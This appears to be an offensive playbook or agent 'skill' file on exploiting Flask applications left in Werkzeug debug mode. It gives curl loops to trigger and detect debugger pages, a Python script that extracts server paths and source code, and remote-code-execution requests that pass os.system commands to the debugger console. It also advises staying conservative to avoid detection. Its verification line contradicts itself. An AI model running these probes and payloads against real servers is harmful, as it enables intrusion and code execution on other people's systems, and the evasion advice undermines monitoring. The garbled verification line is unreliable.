Flask Werkzeug Attack

Flask/Werkzeug Debugger Exploitation

Flask applications with debug=True enable the Werkzeug debugger, which exposes stack traces and (optionally) an interactive Python console. The debugger runs at the same port as the Flask app and activates on any unhandled exception (HTTP 500).

When to Use

• Port scan reveals an unknown HTTP service on a non-standard port (8080, 8081, 8084, 5000, 8000, etc.)
• An API endpoint returns HTTP 500 with a Flask/Werkzeug error page
• A ?__debugger__=yes parameter appears in URL resources (CSS, JS, PNG)
• The error page contains var CONSOLE_MODE, var EVALEX, or SECRET= in the HTML

Prerequisites

• terminal with curl
• A Flask API server with debug=True in production (misconfiguration)
• An endpoint that triggers HTTP 500 (unhandled exception)

Quick Detection

# Check if Werkzeug debugger is active — trigger an error
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml" 2>/dev/null | grep -oE "(Werkzeug|Debugger|SECRET|CONSOLE_MODE|EVALEX)" | head -5

# Try to trigger error on common paths
for path in "/error" "/500" "/test" "/debug" "/sitemap.xml" "/env" "/config"; do
  result=$(curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT$path" 2>/dev/null)
  if echo "$result" | grep -q "Traceback\|Error\|Werkzeug"; then
    echo "TRIGGERED: $path"
    echo "$result" | grep -oE '(File|Error|SECRET|CONSOLE_MODE|EVALEX)[^<]*' | head -5
  fi
done

Phase 1 — Information Disclosure

The Werkzeug debugger exposes:

1a — Server Paths (from Traceback)

File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask/app.py"
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask_cors/extension.py"
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/..."

1b — Debugger SECRET (from HTML)

<script>
  var CONSOLE_MODE = false,
      EVALEX = false,
      EVALEX_TRUSTED = false,
      SECRET="vYQ93K...8cww";
</script>

1c — Framework & Language Version

• Flask framework (Python 3.x)
• flask_cors extension status
• Full call stack with line numbers
• Source code context (5 lines around each frame)

1d — Full Code Context Extraction

import requests, re

resp = requests.get("https://target.com:PORT/ERROR_PATH", verify=False)
traceback = resp.text

# Extract all filenames from traceback frames
files = re.findall(r'File\s+\"([^\"]+)\"', traceback)
for f in files:
    print(f"  {f}")

# Extract source code snippets
sources = re.findall(r'<pre[^>]*class="source[^"]*"[^>]*>(.*?)</pre>', traceback, re.DOTALL)
for s in sources:
    clean = re.sub(r'<[^>]+>', '', s)
    print(clean[:200])

Phase 2 — Debugger Console Access (RCE)

The Werkzeug debugger console allows Python code execution on the server IF EVALEX=true and CONSOLE_MODE=true.

2a — Check Console Status

# The SECRET and console mode are in the HTML
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml" | grep -oE '(CONSOLE_MODE|EVALEX|EVALEX_TRUSTED|SECRET)="?[^"&;]+'

2b — Console Access (if enabled)

If EVALEX=true:

# Access the console
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/console"

Signal check: If /console returns HTTP 400 (not 404), the debugger IS active but the console is disabled. HTTP 404 means no debugger at all. HTTP 200 with console UI means RCE is available.

If EVALEX=true:

# Execute Python commands (POST to the debugger endpoint)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com:PORT/sitemap.xml?__debugger__=yes&cmd=e&s=SECRET" \
  -d "code=__import__('os').system('id')"

# Alternative: GET-based eval
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml?__debugger__=yes&cmd=eval&code=__import__('os').system('id')&s=SECRET"

Note: The console endpoint may require specific method (POST vs GET) and may return HTTP 405 if the wrong method is used. Test both.

2c — Working with a Disabled Console

If EVALEX=false (most common in production), the console is disabled and cannot execute commands. However:

1. SECRET is still valuable — it confirms dynamic debugger is active
2. Traceback still leaks — full server paths, framework versions, source code context
3. Look for ?__debugger__=yes — this is the debugger interface itself; if it loads, the debugger is partially active
4. Check for source code in error pages — some endpoints may return full source context without needing the console

Phase 3 — Directory/Path Probing

Beyond the specific error-triggering path, probe for other endpoints that may leak different info:

# Path traversal in error generation
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/path/to/../sitemap.xml"

# Test various HTTP methods
curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://target.com:PORT/sitemap.xml"
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com:PORT/sitemap.xml"
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://target.com:PORT/sitemap.xml"

# Check if error page returns CORS headers
curl --max-time 30 --connect-timeout 10 -sk -D- "https://target.com:PORT/sitemap.xml" | grep -i access-control

Pitfalls

• EVALEX=false means NO RCE through the console. Do not waste time trying to execute code when console mode is disabled.
• The SECRET is not enough. Even with the correct SECRET, the console must be enabled for code execution.
• Not all HTTP 500 pages are Werkzeug. Plain Flask error pages without HTML formatting or with JSON-only responses are NOT the Werkzeug debugger. The debugger has a distinctive blue-themed HTML page with collapsible traceback frames and source code context.
• The debugger may be behind CORS. Check Access-Control-Allow-Origin headers — CORS wildcard on the debugger page means an attacker-controlled website can read the SECRET and traceback via fetch().
• Triggering errors leaves logs. Every debugger page request generates a 500 error in the server logs. Be conservative to avoid detection.

Verification

1. Skill integrity — confirm the skill file is well-formed: FAIL FAIL All tests verify the skill is properly structured.

Related Skills

• hunt-rce — General RCE hunting; console-enabled Werkzeug would be RCE
• hunt-python — Python-specific vulnerability hunting
• js-secrets-extraction — Finding API keys that may work with the Flask API
• source-leak-hunt — Finding .env and config files that may contain Flask SECRET_KEY
• cache-attack — Cache poisoning via Werkzeug error page (if CDN caches the 500 response)